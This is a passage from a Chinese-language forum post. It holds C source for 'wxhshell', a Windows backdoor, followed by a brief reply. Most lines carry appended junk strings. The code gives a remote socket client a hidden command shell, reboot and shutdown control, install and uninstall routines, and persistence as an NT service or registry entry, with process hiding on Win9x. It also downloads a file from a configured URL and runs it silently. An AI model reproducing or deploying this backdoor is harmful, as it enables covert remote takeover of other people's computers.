  else { :v(fgS2\  
[og_0;  
    switch(cmd[0]) { SZ*Nr=X  
  4XCy>;4u  
  // 帮助 WF!u2E+  
  case '?': { 'Drz6K_KrP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /3>5ex>PN  
    break; = MP?aH [  
  } ! ,*4d $  
  // 安装 F79!B  
  case 'i': { N-~Uu6zr  
    if(Install()) 4,yS7l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Te:4 z@?  
    else lJR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W ^MF3  
    break; p3N/"t&>  
    }  IeZgF>  
  // 卸载 &E(KOfk#  
  case 'r': { Z WVN(U  
    if(Uninstall()) l^ Q-KUI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U11bQ4ak  
    else O`pqS\H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y!,Ly_x$@  
    break; &.ENcEic  
    } "G+g(?N]j  
  // 显示 wxhshell 所在路径 K< ;I*cAX  
  case 'p': { Xc!0'P0T  
    char svExeFile[MAX_PATH]; !MNnau%O  
    strcpy(svExeFile,"\n\r"); 0j-- X?-  
      strcat(svExeFile,ExeFile); Tw{}Ht_Qq  
        send(wsh,svExeFile,strlen(svExeFile),0); X,Q'Xe /  
    break; m,TN%*U!  
    } , Ac gsC  
  // 重启 !T<4em8  
  case 'b': { E5H0Yo.Wi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .*3.47O  
    if(Boot(REBOOT)) 3b#eB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l4:5(1  
    else { I>(3\z4s  
    closesocket(wsh); N"+o=nS  
    ExitThread(0); ,y'E#_cTgQ  
    } :L E&p[^  
    break; ^>3q@,C]c  
    } Xv~v=.HNhk  
  // 关机 WlJ $p$I`  
  case 'd': { 3/j^Ao\fw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qVvQ9?  
    if(Boot(SHUTDOWN)) YoT< ]'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WFYbmfmV  
    else { *j9hjq0j  
    closesocket(wsh); 3.c0PRZ  
    ExitThread(0); Pa8E.<>  
    } YEg(QOn3Q  
    break; a___SYl 'K  
    } 5vfzSJ  
  // 获取shell WPN4mEow  
  case 's': { )yOdRRP  
    CmdShell(wsh); L355uaj  
    closesocket(wsh); 3 W%Bsqn  
    ExitThread(0); C'_^DPzj  
    break; OrZ=-9"  
  } =`1#fQDt  
  // 退出 _~{Nco7T  
  case 'x': { +J`HI1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MPtn$@  
    CloseIt(wsh); _gGI&0(VM  
    break; EGY'a*]cU  
    } r&MHww1i  
  // 离开 X q"_^  
  case 'q': { swfcA\7R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e Qz_,vTk  
    closesocket(wsh); &J <km  
    WSACleanup(); T[z}^"  
    exit(1); LhfI"fc  
    break; g}vOp3 ^  
        } m$bX;F}T  
  } 0c$0<2D%  
  } ~"Kf+eFi  
D^[}:O{  
  // 提示信息 5*q!:$ W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BJ c'4>  
} w6-A-M6hD  
  } kvdiDo  
IQ5H`o?[B  
  return; T~238C{vh  
} Q?Y\WD  
&8##)tS(y  
// shell模块句柄 +5zLQ>]z  
int CmdShell(SOCKET sock) XMR$I&;G8  
{ `YK2hr  
STARTUPINFO si; WRq:xDRn0  
ZeroMemory(&si,sizeof(si)); THQd`Lj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DR d|m<Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~_!lx  
PROCESS_INFORMATION ProcessInfo; 3!&PI  
char cmdline[]="cmd"; a-A>A_.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !zu YO3:  
  return 0; ,t2yw  
} @y|ZXPC#  
zQ&k$l9  
// 自身启动模式 4;rt|X77  
int StartFromService(void) FnoE\2}9  
{ +*O$]Hh  
typedef struct (9"w{pnlLc  
{ nB~hmE)  
  DWORD ExitStatus; ];3]/b)&  
  DWORD PebBaseAddress; P0Q]Ds|  
  DWORD AffinityMask; x)wlp{rLf  
  DWORD BasePriority; ^ B>BA  
  ULONG UniqueProcessId; Wk0"U V  
  ULONG InheritedFromUniqueProcessId; JQo"<<[  
}   PROCESS_BASIC_INFORMATION; N=JZtf/i  
oPqWL9]  
PROCNTQSIP NtQueryInformationProcess; p4Wy2.&Q  
v$P<:M M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hS( )OY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "vH>xBR[%  
w_>SxSS7  
  HANDLE             hProcess; 2j*+^&M/  
  PROCESS_BASIC_INFORMATION pbi; L"_l(<g  
( <Abw{BTm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +1te8P*  
  if(NULL == hInst ) return 0; 75^U<Hz-3{  
&=KNKE`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2;v1YKY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0LjF$3GpZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;cFlZGw   
F*0rpQ,*  
  if (!NtQueryInformationProcess) return 0; M6j!_0j  
<$V!y dO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pPa3byWf  
  if(!hProcess) return 0; wWaJ%z>3y  
gsSUmf1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hB !>*AsG  
eB]R<a60  
  CloseHandle(hProcess); >" z$p@7  
[!<W{ ($5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q2 pq~LI  
if(hProcess==NULL) return 0; lCX*Q{s22  
0sQt+_Dl%L  
HMODULE hMod; <%SG <|t  
char procName[255]; " iz'x-wy  
unsigned long cbNeeded; \qo}}I>e  
'Avp16zg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fH> I/%  
19g-#H!  
  CloseHandle(hProcess); :Sd"~\N+  
B5pWSS  
if(strstr(procName,"services")) return 1; // 以服务启动 R9!GDKts%  
JM& :dzyIP  
  return 0; // 注册表启动 >k)zd-  
} TTfU(w%&P  
q_R^Q>ZIe  
// 主模块 C<T)'^7z  
int StartWxhshell(LPSTR lpCmdLine) 3jJd)C R  
{ i'\7P-a  
  SOCKET wsl; pE~>k:  
BOOL val=TRUE; ZJod=^T  
  int port=0; &|LP>'H;  
  struct sockaddr_in door; J/{!_M-  
x =7qC#+)  
  if(wscfg.ws_autoins) Install(); *%(BE*C}  
6]mFw{6qn1  
port=atoi(lpCmdLine); iVQ)hs W/  
G'dN_6ho3  
if(port<=0) port=wscfg.ws_port; 8Q*477=I  
@j{n V@|  
  WSADATA data; T``O!>J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `nvm>u~[Hq  
HXg#iP^tv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "lT>V)NB'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oE;SZ"$ x  
  door.sin_family = AF_INET; 5RUhrE   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ITmW/Im5  
  door.sin_port = htons(port); 50?5xSEM0_  
4b}94e@(N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  yf/c  
closesocket(wsl); ]rY3bG'&  
return 1; ^gu;  
} FZi'#(y  
W3h{5\d!  
  if(listen(wsl,2) == INVALID_SOCKET) { O\5q_>]  
closesocket(wsl); @Q%g#N  
return 1; Fb^Ae6/i  
} "AayU  
  Wxhshell(wsl); w<o#/J9  
  WSACleanup(); JKMcdD?'  
f'-) 3T  
return 0; )yyS59s  
l`' lqnhv  
} W4ygJL7 6  
UomO^P  
// 以NT服务方式启动 pRTdP/(OQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &# w~S~  
{ @XSxoUF\  
DWORD   status = 0; !vQDPLBL  
  DWORD   specificError = 0xfffffff; "KhVS  
`(dRb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %CaUC'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `B GU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )tB1jcI;  
  serviceStatus.dwWin32ExitCode     = 0; z!0 }Kj  
  serviceStatus.dwServiceSpecificExitCode = 0; sO;]l"{<  
  serviceStatus.dwCheckPoint       = 0; $At,D.mGkb  
  serviceStatus.dwWaitHint       = 0; >_m4 idq1  
Z,ZebS@yG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C\d5t4s  
  if (hServiceStatusHandle==0) return; rjJ-ZRs\  
+P//p$pE  
status = GetLastError(); &qP@WFl  
  if (status!=NO_ERROR) xn`<g|"#  
{ : ~R:[T2P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; YYiT,Xp<A  
    serviceStatus.dwCheckPoint       = 0; HXg4 T  
    serviceStatus.dwWaitHint       = 0; [ ]LiL;A&  
    serviceStatus.dwWin32ExitCode     = status; (!iGQj(m  
    serviceStatus.dwServiceSpecificExitCode = specificError; d J;y>_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F87aIJ.pGN  
    return; Hc"FW5R  
  } r!,/~~m T  
R8K ?! Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Wt8=j1>  
  serviceStatus.dwCheckPoint       = 0; g'Id3 1r'  
  serviceStatus.dwWaitHint       = 0; |!=KLJUA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G'\x9%  
} B<A=U r  
kpU-//lk+  
// 处理NT服务事件,比如:启动、停止 i( l'f#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ksu_4dE  
{ J BN_Upat  
switch(fdwControl) TiF2c#Q*y  
{ ncy?w e  
case SERVICE_CONTROL_STOP: ,aLdW,<6  
  serviceStatus.dwWin32ExitCode = 0; 5csqu^/y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w&E*{{otJ  
  serviceStatus.dwCheckPoint   = 0; @jp}WwC/  
  serviceStatus.dwWaitHint     = 0;  XM" {"  
  { ZGHh!Ds;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e[ 8AdE  
  } 4)4E/q/5  
  return; FlPPz  
case SERVICE_CONTROL_PAUSE: \;%DDw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6}>:sr  
  break; ]mW)T0_  
case SERVICE_CONTROL_CONTINUE: 1~x=bphS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ny,a5zEnF  
  break; f/VrenZ_  
case SERVICE_CONTROL_INTERROGATE: PilV5Gg  
  break; h"-}BjL  
}; OGjeE4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :<}.3Q?&  
} UQ ~7,D`=#  
s=uWBh3J  
// 标准应用程序主函数 Zk4(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %](H?'H  
{ 8O)!{gB  
i7m=V T  
// 获取操作系统版本 #O |Z\|n  
OsIsNt=GetOsVer();  );cu{GY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =R>%}5  
6.!3g(w   
  // 从命令行安装 &Vtgh3I  
  if(strpbrk(lpCmdLine,"iI")) Install(); m#(tBfH[  
i~k9s  
  // 下载执行文件  VS:UVe  
if(wscfg.ws_downexe) { l5m5H,`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iSZiJ4AUq  
  WinExec(wscfg.ws_filenam,SW_HIDE); -C7IUat<  
} P0En&g+~  
3]X9 z  
if(!OsIsNt) { PKx ewd  
// 如果时win9x,隐藏进程并且设置为注册表启动 x 7;Zwd  
HideProc(); A!K/92[#@  
StartWxhshell(lpCmdLine); f.o,VVYi  
} E/MNz}+  
else Pw"o[8  
  if(StartFromService()) S!<1C Fh  
  // 以服务方式启动 kJJUu  
  StartServiceCtrlDispatcher(DispatchTable); sp0j2<$a  
else 6G<t1?_yD  
  // 普通方式启动 G$5N8k[2  
  StartWxhshell(lpCmdLine); f|*vWHSM  
fDn|o"  
return 0; %("Bq"Q8  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五